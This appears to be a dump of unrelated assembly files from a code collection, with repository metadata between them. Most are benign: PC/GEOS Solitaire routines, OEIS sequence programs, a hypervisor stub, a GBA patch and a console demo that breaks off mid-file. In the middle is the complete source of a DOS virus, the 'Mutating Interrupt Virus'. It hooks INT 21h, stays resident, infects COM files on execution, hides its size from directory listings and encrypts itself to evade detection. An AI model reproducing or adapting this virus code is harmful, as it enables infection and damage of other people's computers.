KNOWN BUGS/SIDE EFFECTS/IDEAS:
This routine should be optimized for SMALL SIZE over SPEED
Common cases:
unknown
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 6/ 7/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireSetViewBackgroundColor proc near
uses ax,bx,cx,dx,di,si,bp
.enter
; Use VUP_QUERY to field to avoid building GenApp object.
;
mov bx, segment GenFieldClass
mov si, offset GenFieldClass
mov ax, MSG_VIS_VUP_QUERY
mov cx, VUQ_DISPLAY_SCHEME ; get display scheme
mov di, mask MF_RECORD
call ObjMessage ; di = event handle
mov cx, di ; cx = event handle
mov bx, handle SolitaireApp
mov si, offset SolitaireApp
mov ax, MSG_GEN_CALL_PARENT
mov di,mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; ah = display type, bp = ptsize
mov cl, C_GREEN ;assume color display
mov al, ah ; save for second test
and ah, mask DT_DISP_CLASS
cmp ah, DC_GRAY_1 shl offset DT_DISP_CLASS
jne testTV
mov cl,C_WHITE
jmp short setColor
testTV:
and al, mask DT_DISP_ASPECT_RATIO
cmp al, DAR_TV shl offset DT_DISP_ASPECT_RATIO
jne setColor
mov cl, C_LIGHT_GRAY
setColor:
mov ch, CF_INDEX or (CMT_DITHER shl offset CMM_MAP_TYPE)
mov bx,handle SolitaireView
mov si,offset SolitaireView
mov di,mask MF_FIXUP_DS
mov ax,MSG_GEN_VIEW_SET_COLOR
call ObjMessage
.leave
ret
SolitaireSetViewBackgroundColor endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireRestoreFromState
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: send a message to the game object telling it that we are
restoring from state.
CALLED BY: GLOBAL
PASS: es - dgroup
RETURN: nada
DESTROYED: Whatever our superclass destroys
PSEUDO CODE/STRATEGY:
This page intentionally left blank
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 1/ 3/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireRestoreFromState method SolitaireProcessClass,
MSG_GEN_PROCESS_RESTORE_FROM_STATE
push cx, dx, bp ; save passed values
mov bx, handle MyPlayingTable
mov si, offset MyPlayingTable
mov cx, bp
mov ax, MSG_GAME_RESTORE_STATE
mov di, mask MF_FIXUP_DS
call ObjMessage
pop cx, dx, bp ; restore passed values
mov di, segment SolitaireProcessClass
mov es, di
mov di, offset SolitaireProcessClass
mov ax, MSG_GEN_PROCESS_RESTORE_FROM_STATE
GOTO ObjCallSuperNoLock
SolitaireRestoreFromState endm
SolitaireShutDown method SolitaireProcessClass,
MSG_GEN_PROCESS_CLOSE_APPLICATION
.enter
;
; Save quick tips setting
;
mov ax, MSG_GEN_BOOLEAN_GROUP_GET_SELECTED_BOOLEANS
mov bx, handle ShowOnStartupGroup
mov si, offset ShowOnStartupGroup
mov di, mask MF_CALL
call ObjMessage
and ax, SHOW_ON_STARTUP ; filter out other garbage
xor ax, SHOW_ON_STARTUP ; setting TRUE if checkbox CLEARED
push ds
mov cx, cs
mov ds, cx
mov si, offset klondikeCategoryString
mov dx, offset klondikeTipsString
call InitFileWriteBoolean
call InitFileCommit
pop ds
mov ax, MSG_GAME_SAVE_STATE
mov bx, handle MyPlayingTable
mov si, offset MyPlayingTable
mov di, mask MF_FIXUP_DS or mask MF_CALL
call ObjMessage
push cx ;save block
; mov bx, handle MyPlayingTable
; mov si, offset MyPlayingTable
mov di, mask MF_FIXUP_DS or mask MF_CALL
mov ax, MSG_GAME_SHUTDOWN
call ObjMessage
mov di, segment SolitaireProcessClass
mov es, di
mov di, offset SolitaireProcessClass
mov ax, MSG_GEN_PROCESS_CLOSE_APPLICATION
call ObjCallSuperNoLock
pop cx
.leave
ret
SolitaireShutDown endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
KlondikeSaveOptions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: This routine saves the current settings of the options menu
to the .ini file.
CALLED BY: GLOBAL
PASS: es - idata
RETURN: nada
DESTROYED: various important but undocumented things
PSEUDO CODE/STRATEGY:
This page intentionally left blank
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 1/ 3/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireSaveOptions method SolitaireProcessClass, MSG_META_SAVE_OPTIONS
;
; Save countdown seconds
;
mov ax, MSG_SOLITAIRE_GET_COUNTDOWN_SECONDS_FROM_UI
mov bx, handle MyPlayingTable
mov si, offset MyPlayingTable
mov di, mask MF_CALL
call ObjMessage ;CX <- starting level
mov bp, cx ;BP <- value
mov cx, cs
mov ds, cx
mov si, offset klondikeCategoryString
mov dx, offset klondikeCountdownTimeString
call InitFileWriteInteger
;
; Save which back
;
mov ax, MSG_GAME_GET_WHICH_BACK
mov bx, handle MyPlayingTable
mov si, offset MyPlayingTable
mov di, mask MF_CALL
call ObjMessage ;CX <- starting level
mov bp, cx ;BP <- value
mov cx, cs
mov ds, cx
mov si, offset klondikeCategoryString
mov dx, offset klondikeWhichBackString
call InitFileWriteInteger
;
; Save the number of cards to flip each time
;
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
mov bx, handle DrawList
mov si, offset DrawList
mov di, mask MF_CALL
call ObjMessage ;aX <- starting level
mov_tr bp, ax ;BP <- value
mov cx, ds
mov si, offset klondikeCategoryString
mov dx, offset klondikeDrawHowManyString
call InitFileWriteInteger
;
; Save scoring mode
;
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
mov bx, handle ScoringList
mov si, offset ScoringList
mov di, mask MF_CALL
call ObjMessage ;aX <- starting level
mov_tr bp, ax ;BP <- value
mov cx, ds
mov si, offset klondikeCategoryString
mov dx, offset klondikeScoringModeString
call InitFileWriteInteger
;
; Save the play level
;
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
mov bx, handle UserModeList
mov si, offset UserModeList
mov di, mask MF_CALL
call ObjMessage
mov_tr bp, ax
mov cx, ds
mov si, offset klondikeCategoryString
mov dx, offset klondikePlayLevelString
call InitFileWriteInteger
if _NDO2000
;
; Save the drag mode
;
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
mov bx, handle DragList
mov si, offset DragList
mov di, mask MF_CALL
call ObjMessage
mov_tr bp, ax
mov cx, ds
mov si, offset klondikeCategoryString
mov dx, offset klondikeDragModeString
call InitFileWriteInteger
endif
;
; Save fade mode
;
mov ax, MSG_GEN_BOOLEAN_GROUP_GET_SELECTED_BOOLEANS
mov bx, handle FadeList
mov si, offset FadeList
mov di, mask MF_CALL
call ObjMessage ;LES_ACTUAL_EXCL set if on...
and ax, 1 ;filter through fade bit
mov cx, ds
mov si, offset klondikeCategoryString
mov dx, offset klondikeFadingString
call InitFileWriteBoolean
;
; Save mute sound
;
mov ax, MSG_GEN_BOOLEAN_GROUP_GET_SELECTED_BOOLEANS
mov bx, handle SoundList
mov si, offset SoundList
mov di, mask MF_CALL
call ObjMessage ;LES_ACTUAL_EXCL set if on...
and ax, 1 ;filter through mute bit
mov cx, ds
mov si, offset klondikeCategoryString
mov dx, offset klondikeMuteSoundString
call InitFileWriteBoolean
call InitFileCommit
ret
SolitaireSaveOptions endm
klondikeCategoryString char "klondike",0
klondikeWhichBackString char "whichBack",0
klondikeDrawHowManyString char "drawHowManyCards",0
klondikeScoringModeString char "scoringMode",0
klondikePlayLevelString char "playLevel",0
if _NDO2000
klondikeDragModeString char "dragMode",0
endif
klondikeFadingString char "fadeCards",0
klondikeCountdownTimeString char "countdown",0
klondikeResetScoreString char "resetScore",0
klondikeMuteSoundString char "muteSound",0
klondikeTipsString char "noShowTips",0
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireSetUpSounds
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create Sound Handles for sounds
CALLED BY: OpenApplication
PASS: nothing
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
Initializes handles in udata.
PSEUDO CODE/STRATEGY:
Call SoundAllocNote for all the sounds
REVISION HISTORY:
Name Date Description
---- ---- -----------
DH 2/29/2000 Stolen from Tetris
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
udata segment
dealingSoundHandle word
if 0
outOfTimeSoundHandle word
gameWonSoundHandle word
endif
cardMoveFlipSoundHandle word
dropBadSoundHandle word
udata ends
ONE_VOICE = 1
THREE_VOICES = 3
DealingSoundBuffer segment resource
SimpleSoundHeader ONE_VOICE
ChangeEnvelope 0, IP_BASS_DRUM_1
General GE_SET_PRIORITY
word SP_GAME
VoiceOn 0, FR_BASS_DRUM_1, DYNAMIC_F
DeltaTick 5
VoiceOff 0
General GE_END_OF_SONG
DealingSoundBuffer ends
if 0
OutOfTimeSoundBuffer segment resource
SimpleSoundHeader ONE_VOICE
ChangeEnvelope 0, IP_ACOUSTIC_GRAND_PIANO
General GE_SET_PRIORITY
word SP_GAME
VoiceOn 0, MIDDLE_C_SH, DYNAMIC_F
DeltaTick 3
VoiceOff 0
VoiceOn 0, MIDDLE_C_SH, DYNAMIC_F
DeltaTick 3
VoiceOff 0
General GE_END_OF_SONG
OutOfTimeSoundBuffer ends
GameWonSoundBuffer segment resource
SimpleSoundHeader ONE_VOICE
ChangeEnvelope 0, IP_ACOUSTIC_GRAND_PIANO
General GE_SET_PRIORITY
word SP_GAME
DeltaTick 1
VoiceOn 0, MIDDLE_C, DYNAMIC_F
DeltaTick 1
VoiceOff 0
General GE_END_OF_SONG
GameWonSoundBuffer ends
endif
CardMoveFlipSoundBuffer segment resource
SimpleSoundHeader ONE_VOICE
ChangeEnvelope 0, IP_SHAKUHACHI
General GE_SET_PRIORITY
word SP_GAME
VoiceOn 0, HIGH_B, DYNAMIC_F
DeltaTick 3
VoiceOff 0
General GE_END_OF_SONG
CardMoveFlipSoundBuffer ends
DropBadSoundBuffer segment resource
SimpleSoundHeader THREE_VOICES
ChangeEnvelope 0, IP_ORCHESTRA_HIT
ChangeEnvelope 1, IP_ORCHESTRA_HIT
ChangeEnvelope 2, IP_ORCHESTRA_HIT
General GE_SET_PRIORITY
word SP_GAME
VoiceOn 0, MIDDLE_F_SH, DYNAMIC_MF
VoiceOn 1, MIDDLE_A_SH, DYNAMIC_MF
VoiceOn 2, HIGH_C, DYNAMIC_MF
DeltaTick 10
VoiceOff 0
VoiceOff 1
VoiceOff 2
General GE_END_OF_SONG
DropBadSoundBuffer ends
SolitaireSetUpSounds proc near
uses ax, bx, cx, dx, si, di, ds
.enter
segmov ds, udata, ax
;
; Allocate a sound handle so we can tick when each card is dealt in
; the startup dealing sequence
mov cx, 1
mov bx, handle DealingSoundBuffer
call SoundInitMusic
mov ds:[dealingSoundHandle], bx
;
; Set us up as the owner
mov_tr ax, bx
call GeodeGetProcessHandle
xchg ax, bx ;AX <- process handle
;BX <- sound handle
call SoundChangeOwner
if 0
;
; Allocate a sound handle so we can make a noise
; when the game is over because time ran out
mov cx, 1
mov bx, handle OutOfTimeSoundBuffer
call SoundInitMusic
mov ds:[outOfTimeSoundHandle], bx
;
; Set us up as the owner
mov_tr ax, bx
call GeodeGetProcessHandle
xchg ax, bx
call SoundChangeOwner
;
; Allocate a sound handle so we can make a noise
; when the game is won
mov cx, 1
mov bx, handle GameWonSoundBuffer
call SoundInitMusic
mov ds:[gameWonSoundHandle], bx
;
; Set us up as the owner
mov_tr ax, bx
call GeodeGetProcessHandle
xchg ax, bx
call SoundChangeOwner
endif
;
; Allocate a sound handle so we can make a noise
; when one or move cards are moved or flipped
mov cx, 1
mov bx, handle CardMoveFlipSoundBuffer
call SoundInitMusic
mov ds:[cardMoveFlipSoundHandle], bx
;
; Set us up as the owner
mov_tr ax, bx
call GeodeGetProcessHandle
xchg ax, bx
call SoundChangeOwner
;
; Allocate a sound handle so we can make a noise
; when one or more cards are dropped in an illegal place
mov cx, THREE_VOICES
mov bx, handle DropBadSoundBuffer
call SoundInitMusic
mov ds:[dropBadSoundHandle], bx
;
; Set us up as the owner
mov_tr ax, bx
call GeodeGetProcessHandle
xchg ax, bx
call SoundChangeOwner
.leave
ret
SolitaireSetUpSounds endp
CommonCode ends ;end of CommonCode resource
| 24.40929 | 80 | 0.634878 | [
"Apache-2.0"
] | BOBBYWY/pcgeos | Appl/Games/Solitaire/solitaire.asm | 27,851 | Assembly |
extern VmxVmExitHandler
extern RestoreRegisters
extern VmxBasicExitReasonVmcall
extern MhvVmxEntryHandler
_GuestEntryRip:
; In case of VM EXIT
; Set RIP to this addr
save_proc_state
mov rcx, rsp
sub rsp, 0x20
call MhvVmxEntryHandler
; HLT Instructions/sec - Number of CPU halts per seconds on the VP (VIRTUAL PROCESSOR)
; A HLT will cause the hypervisor scheduler to de-schedule the current VP and move the the next VP in the runlist
hlt
| 20.434783 | 117 | 0.761702 | [
"MIT"
] | DenisUBB/Bare-Metal-Lightweight-Hypervisor | minihv/_entry.asm | 470 | Assembly |
; A037601: Base 8 digits are, in order, the first n terms of the periodic sequence with initial period 1,3,0.
; Submitted by Jamie Morken(s2)
; 1,11,88,705,5643,45144,361153,2889227,23113816,184910529,1479284235,11834273880,94674191041,757393528331,6059148226648,48473185813185,387785486505483,3102283892043864
seq $0,33144 ; Base 8 digits are, in order, the first n terms of the periodic sequence with initial period 1,0,0.
mul $0,22
div $0,16
| 55.75 | 168 | 0.79148 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/037/A037601.asm | 446 | Assembly |
;
; libasm.asm: liberia assembler para usuario.
;
GLOBAL getRegs
EXTERN inforeg
section .text
;
; Funcion para obtener los valores de todos los registros y asi poder imprimirlos (inforeg)
;
getRegs:
mov [regMem], rax
mov [regMem + 1*8], rbx
mov [regMem + 2*8], rcx
mov [regMem + 3*8], rdx
mov [regMem + 4*8], rbp
mov [regMem + 5*8], rdi
mov [regMem + 6*8], rsi
mov [regMem + 7*8], r8
mov [regMem + 8*8], r9
mov [regMem + 9*8], r10
mov [regMem + 10*8], r11
mov [regMem + 11*8], r12
mov [regMem + 12*8], r13
mov [regMem + 13*8], r14
mov [regMem + 14*8], r15
mov rax, [rsp] ; RIP.
mov [regMem + 15*8], rax
add rsp, 8
mov [regMem + 16*8], rsp ; Valore previo rsp.
sub rsp, 8
mov rdi, regMem
call inforeg
ret
section .bss
regMem: resb 17*8 | 20.575 | 91 | 0.589307 | [
"BSD-3-Clause-Clear",
"BSD-3-Clause"
] | glpecile/2020Q2_ARQ_TPE | Userland/SampleCodeModule/libasm/libasm.asm | 823 | Assembly |
;****************************************************************************
;* The Mutating Interrupt Virus -Soltan Griss-
;* [RABID] -=+ Front 242 +=-
;*
;*
;* Well this is my Third Release of many to come. This virus uses the latest
;* of RABID's new inventions the "MUTATING INTERRUPT", what it does (nothing
;* to special) is Mutate all int 21h (CD 21) to a random interrupt.
;* Then before executation it will change it back to INT 21.
;*
;* Alot of people are wondering if RABID is Still around. YES. Wea reback and
;* Kicking, although right now we have limited members, it soon will change.
;*
;*
;* Many Thanks go out to Data Disruptor, who originally came up with the
;* interrupt swapping idea.
;*
;*
;* SOON TO COME: Why use conventional memory when do has left so many holes??
;* Find out soon in one of our next RELEASES.
;*
;* A Real Mutating virus with moveable modular segments!!<G>!
;*
;*
;*
;* A Word of thanks go out to.
;*
;* YAM- Keep up the hard work. Alot of improvement come with time.
;* Admiral Bailey. Waitinf for the next version of the IVP!
;*
;*
;****************************************************************************
seg_a segment
assume cs:seg_a,ds:seg_a,es:nothing
org 100h
start: db 0E9h,06,00,42h,0f2h ; Jump to virus + F242 id string
vstart equ $
key: dw 0 ;encryptor key.
i_key: dw 12cdh ;Interrupt key
call code_start
code_start:
pop si
sub si,offset code_start ;get current infected files size
mov bp,si
crypter:
mov cx,(vend-check)
mov dh,byte ptr cs:[key+bp]
mov si,offset check
add si,bp
loo: mov ah,byte ptr cs:[si] ;Decrypt the virus
xor ah,dh
mov byte ptr cs:[si],ah
inc si
loop loo
code:
mov si,offset check
mov di,offset check
mov cx,(vend-check)
looper: mov ax,[si]
cmp ax,word ptr cs:[i_key+bp] ;Change interrupts back
je change
doit: mov [di],ax
inc si
inc di
loop looper
jmp check
change: mov ax,21cdh
jmp doit
check:
mov ax,0F242h ;Check to see if we are already
int 12h
cmp bx,0F242h ;resident
je Already_here
info: db 0
load: ;Virus Id string so they NAME it
; RIGHT!!!!
push cs
pop ds
mov ah,49h ;Release current Memory block
int 12h
mov ah,48h ;Request Hugh size of memory
mov bx,0ffffh ;returns biggest size
int 12h
mov ah,4ah
sub bx,(vend-vstart+15)/16+(vend-vstart+15)/16+1
jc exit ;subtract virus size
int 12h
mov ah,48h
mov bx,(vend-vstart+15)/16+(vend-vstart+15)/16
int 12h
jc exit ;request last XXX pages
;allocate it to virus
dec ax
push es
mov es,ax
mov byte ptr es:[0],'Z' ;make DOS the owner
mov word ptr es:[1],8
mov word ptr es:[3],(vend-vstart+15)/8 ;put size here
sub word ptr es:[12h],(vend-vstart+15)/8 ;sub size from current
;memory
inc ax
lea si,[bp+offset vstart] ;copy it to new memory block
xor di,di
mov es,ax
mov cx,(vend-vstart+5)/2
cld
rep movsw
xor ax,ax
mov ds,ax
push ds
lds ax,ds:[21h*4] ;swap vectors manually
mov word ptr es:[old_21-vstart],ax
mov word ptr es:[old_21-vstart+2],ds
pop ds
mov word ptr ds:[21h*4],(new_21-vstart)
mov ds:[21h*4+2],es
exit:
already_here:
push cs
pop ds
push cs
pop es
mov si,offset buffer ;Copy five bytes back!
add si,Bp
mov di,100h
movsw
movsw
movsb
mov bp,100h
jmp bp
;***************************************************************************
old_21: dw 0h,0h
buffer db 0cdh,20h,0,0,0 ;Buffer to hold the infected
old_date: dw 0 ;files 5 bytes
old_time: dw 0
jump_add: db 0E9h
db 0,0
db 0F2h,42h
new_21:
cmp ax,0f242h ;Are we going resident?
je SAY_YES
cmp ax,4b00h ;Are we executing?
je exec
cmp ah,11h
je hide_size ;doing a DIR??
cmp ah,12h
je hide_size
jmp do_old
exec: jmp exec2
SAY_YES:mov bx,0f242h
do_old: jmp dword ptr cs:[(old_21-vstart)] ;If not then do old int 21
ret
hide_size:
pushf
push cs
call do_old ;get the current FCB
cmp al,00h
jnz dir_error ;jump if bad FCB
push ax
push bx
push dx
push ds
push es ;undocumented get FCB
mov ah,51h ;location
int 12h
mov es,bx ;get info from FCB
cmp bx,es:[16h]
jnz not_inf
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;get DTA
int 12h
pop ax
inc al ;Check for extended FCB
jnz normal_fcb
add bx,7h
normal_fcb:
mov ax,es:[bx+17h]
and ax,1fh
xor al,01h ;check for 2 seconds
jnz not_inf
and byte ptr es:[bx+17h],0e0h ;subtract virus size
sub es:[bx+1dh],(vend-vstart)
sbb es:[bx+1fh],ax
not_inf:pop es
pop ds
pop dx
pop bx
pop ax
dir_error:
iret
exec2: push ax
push bx
push cx
push dx
push ds
push es
call infect ;Lets infect the file!!
backup: pop es
pop ds
pop dx
pop cx
pop bx
pop ax
jmp do_old ;go back to original load
infect:
mov ax,3d02h
int 12h
jc quit1 ;open the file
mov bx,ax
A_open: push cs
pop ds
mov ax,4200h
xor cx,cx
xor dx,dx ;move file pointer to begining
int 12h ;(FOR LATER MODIFICATION ONLY)
mov ah,3fh
mov cx,5h
mov dx,(buffer-vstart) ;load in the first 5 bytes
int 12h
jc quit1
cmp word ptr cs:[(buffer-vstart)],5A4Dh ;check to see if its an
je quit1 ;EXE
cmp word ptr cs:[(buffer-vstart)+3],42F2h
je quit1
;if so then its infected
jmp qqqq
quit1: jmp quit2
qqqq: mov ax,5700h
int 12h
jc quit1
mov word ptr cs:[(old_time-vstart)],cx ;get the files time
mov word ptr cs:[(old_date-vstart)],dx ;and date
mov ax,4202h
xor cx,cx
xor dx,dx ;put file pointer at end
int 12h
jc quit1
mov cx,ax
sub cx,3 ;write jump lenght to jump buffer
add cx,4
mov word ptr cs:[(jump_add+1-vstart)],cx
mov ah,2ch ;get random number for interrupt
int 12h ;swapping
cmp dh,03h ;don't like INT 3'S (1 byte only not 2)
jne write_key
inc dh
write_key:
mov word ptr cs:[key-vstart],cx ;save encryption key
mov byte ptr cs:[i_key-vstart+1],dh ;save interupt key
mov si,(check-vstart) ;write from check to end
mov di,(vend-vstart)
mov cx,(vend-check)
topper: mov al,byte ptr cs:[(si)]
cmp al,0cdh
je changeit
top2: mov byte ptr cs:[(di)],al
tor: inc si ;this "mutating routine" is kind
inc di ;messy but i'll improve it for version
loop topper ;2.0
jmp crypt
changeit:
mov byte ptr cs:[(di)],al
inc di
inc si
dec cx
mov al,byte ptr cs:[(si)]
cmp al,21h
jne top2
mov byte ptr cs:[(di)],dh
jmp tor
quit: jmp quit2
crypt:
mov cx,(vend-check)
mov dh,byte ptr cs:[key-vstart]
mov si,(vend-vstart)
lop: mov ah,byte ptr cs:[si]
xor ah,dh ;Encrypt the code
mov byte ptr cs:[si],ah
inc si
loop lop
mov cx,(check-vstart)
mov ah,40h ;write decrypting routine
mov dx,(vstart-vstart) ;to file first
int 12h
jc quit
mov cx,(vend-check) ;write the encrypted code
mov ah,40h ; to the end of the file
mov dx,(vend-vstart)
int 12h
jc quit
mov ax,4200h ;move file pointer to the
xor cx,cx ;begining to write the JMP
xor dx,dx
int 12h
mov cx,5
mov ah,40h ;write the JMP top the file
mov dx,(jump_add-vstart)
int 12h
jc quit
mov ax,5701h
mov word ptr cx,cs:[(old_time-vstart)] ;Restore old time,date
mov word ptr dx,cs:[(old_date-vstart)]
and cl,0e0H
inc cl ;change seconds to 2
int 12h
mov ah,3eh
int 12h
quit2: ret
vend equ $
nop
nop
seg_a ends
end start
;WELL THATS IT.
If ya have any questions feel free to contact me on -=+ FRONT 242 +=- (CANADA)
| 27.15625 | 79 | 0.425777 | [
"MIT"
] | 010001111/Family | MSDOS/Virus.MSDOS.Unknown.mutatint.asm | 11,297 | Assembly |
; A021095: Decimal expansion of 1/91.
; 0,1,0,9,8,9,0,1,0,9,8,9,0,1,0,9,8,9,0,1,0,9,8,9,0,1,0,9,8,9,0,1,0,9,8,9,0,1,0,9,8,9,0,1,0,9,8,9,0,1,0,9,8,9,0,1,0,9,8,9,0,1,0,9,8,9,0,1,0,9,8,9,0,1,0,9,8,9,0,1,0,9,8,9,0,1,0,9,8,9,0,1,0,9,8,9,0,1,0
sub $0,4
pow $0,2
lpb $0
mul $0,5
mod $0,6
lpe
add $0,8
mod $0,10
| 25.75 | 199 | 0.533981 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/021/A021095.asm | 309 | Assembly |
* Set exception vector (per job) V2.00 1986 Tony Tebby QJUMP
*
section qd
*
xdef qd_exv
*
xref sms_ckid
xref sms_rte
*
include dev8_keys_jcbq
include dev8_keys_sys
*
* d1 cr job id
* a0 sp base of job
* a1 c p base of table
*
* all other registers preserved
*
qd_exv
bsr.l sms_ckid check id and set a0
bne.s qdx_exit
sub.w #$54,a1
move.l a1,jcb_exv(a0) set vector
move.l a1,sys_ertb(a6)
moveq #0,d0 ... ok
qdx_exit
bra.l sms_rte
end
| 15.793103 | 65 | 0.696507 | [
"BSD-2-Clause"
] | olifink/smsqe | smsq/qd/exv.asm | 458 | Assembly |
; A022314: a(n) = a(n-1) + a(n-2) + 1, with a(0) = 0, a(1) = 9.
; 0,9,10,20,31,52,84,137,222,360,583,944,1528,2473,4002,6476,10479,16956,27436,44393,71830,116224,188055,304280,492336,796617,1288954,2085572,3374527,5460100,8834628,14294729,23129358,37424088,60553447,97977536,158530984,256508521,415039506,671548028,1086587535,1758135564,2844723100,4602858665,7447581766,12050440432,19498022199,31548462632,51046484832,82594947465,133641432298,216236379764,349877812063,566114191828,915992003892,1482106195721,2398098199614,3880204395336,6278302594951,10158506990288
mov $1,1
mov $2,9
lpb $0
sub $0,1
mov $3,$2
mov $2,$1
add $1,$3
lpe
sub $1,1
mov $0,$1
| 47.285714 | 501 | 0.774924 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/022/A022314.asm | 662 | Assembly |
; A168299: a(n) = 1 + 3^n * n^3.
; 1,4,73,730,5185,30376,157465,750142,3359233,14348908,59049001,235782658,918330049,3502727632,13124466937,48427561126,176319369217,634465620820,2259436291849,7971951402154,27894275208001,96873331012984,334145522716633,1145440056788110,3904305912313345
mov $4,3
pow $4,$0
mov $2,$4
mul $2,4
mov $5,$0
mul $5,2
mov $1,$5
mov $3,$5
pow $3,2
mul $2,$3
mul $1,$2
div $1,96
mul $1,3
add $1,1
| 23.388889 | 252 | 0.738717 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/168/A168299.asm | 421 | Assembly |
//==============================================================================
// void parse(int code, char* parserAddress, WINDOW* window)
// In:
// r0: code
// r1: parser address
// r2: window
// Out:
// r0: control code length (0 if not matched)
//==============================================================================
customcodes_parse:
push {r1-r5,lr}
mov r3,0
mov r4,r0
//--------------------------------
// 60 FF XX: Add XX pixels to the renderer
cmp r4,0x60
bne @@next
// 60 FF should be treated as a renderable code
push {r0-r3}
mov r0,r2
bl handle_first_window
pop {r0-r3}
mov r3,3
// Get the current X offset
ldrh r4,[r2,2]
// Get the current X tile
ldrh r5,[r2,0x2A]
lsl r5,r5,3
add r4,r4,r5 // Current X location (in pixels)
// Get the value to add
ldrb r5,[r1,2] // Control code parameter
add r4,r4,r5 // New X location
// Store the pixel offset of the new location
@@store_x:
lsl r5,r4,29
lsr r5,r5,29
strh r5,[r2,2]
// Store the X tile of the new location
lsr r4,r4,3
strh r4,[r2,0x2A]
b @@end
@@next:
//--------------------------------
// 5F FF XX: Set the X value of the renderer
cmp r4,0x5F
bne @@next2
// 5F FF should be treated as a renderable code
push {r0-r3}
mov r0,r2
bl handle_first_window
pop {r0-r3}
mov r3,3
// Get the new X value
ldrb r4,[r1,2]
b @@store_x
@@next2:
//--------------------------------
// 5E FF XX: Load value into memory
cmp r4,0x5E
bne @@next3
mov r3,3
// Get the argument
ldrb r4,[r1,2]
cmp r4,1
bne @@end
// 01: load enemy plurality
ldr r1,=0x2025038
ldrb r1,[r1] // number of enemies at start of battle
cmp r1,4
blt @@small
mov r1,3
@@small:
mov r0,r1 // the jump table is 1-indexed
mov r4,r3
bl 0x80A334C // store to window memory
mov r3,r4
b @@end
@@next3:
//--------------------------------
// 5D FF: Print give text
cmp r4,0x5D
bne @@end
// 5D FF should be treated as a renderable code
push {r0-r3}
mov r0,r2
bl handle_first_window
pop {r0-r3}
ldr r3,=#0x30009FB
ldrb r3,[r3,#0] //Source
ldr r2,=#m2_active_window_pc //Target
ldrb r2,[r2,#0]
ldr r1,=#0x3005230
ldr r1,[r1,#0x10] //Inventory Window
ldrh r4,[r1,#0x36] //Cursor Y
ldrh r1,[r1,#0x34] //Cursor X
lsl r4,r4,#1
cmp r1,#0
beq @@continue
add r4,r4,#1 //Selected Item number in inventory
@@continue:
lsl r4,r4,#1
ldr r0,=#0x3005200
ldr r0,[r0,#0]
push {r0} //String address
ldr r0,=#0x3001D40
mov r1,#0x6C
mul r1,r3
add r0,#0x14
add r0,r0,r1 //Inventory of source
add r0,r0,r4 //Item address
ldrh r0,[r0,#0] //Item
cmp r0,#0
beq @@EndOf5D
mov r1,r2
mov r2,r3
ldr r3,=#0x3005230
ldr r3,[r3,#0x08] //Dialogue Window
bl give_print
@@EndOf5D:
pop {r0}
mov r3,#0
sub r3,r3,#1 //r3 is now -1
//--------------------------------
@@end:
mov r0,r3
pop {r1-r5,pc}
.pool
| 20.071429 | 80 | 0.523455 | [
"MIT"
] | John-Enigma/Mother2GbaTranslation | src/m2-customcodes.asm | 3,091 | Assembly |
include xlibproc.inc
include Wintab.inc
PROC_TEMPLATE WTExtGet, 3, Wintab, -, 63
| 20.25 | 40 | 0.790123 | [
"Unlicense"
] | SmileyAG/cstrike15_src | public/wintab/wintabx/extget.asm | 81 | Assembly |
; Writing Text Colors (WriteColors.asm)
; Demonstration of WriteConsoleOutputCharacter,
; and WriteConsoleOutputAttribute functions.
INCLUDE Irvine32.inc
.data
outHandle HANDLE ?
cellsWritten DWORD ?
xyPos COORD <10,2>
; Array of character codes:
buffer BYTE 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
BYTE 16,17,18,19.20
BufSize DWORD ($ - buffer)
; Array of attributes:
attributes WORD 0Fh,0Eh,0Dh,0Ch,0Bh,0Ah,9,8,7,6
WORD 5,4,3,2,1,0F0h,0E0h,0D0h,0C0h,0B0h
.code
main PROC
; Get the Console standard output handle:
INVOKE GetStdHandle,STD_OUTPUT_HANDLE
mov outHandle,eax
; Set the colors from (10,2) to (30,2):
INVOKE WriteConsoleOutputAttribute,
outHandle, ADDR attributes,
BufSize, xyPos,
ADDR cellsWritten
; Write character codes 1 to 20:
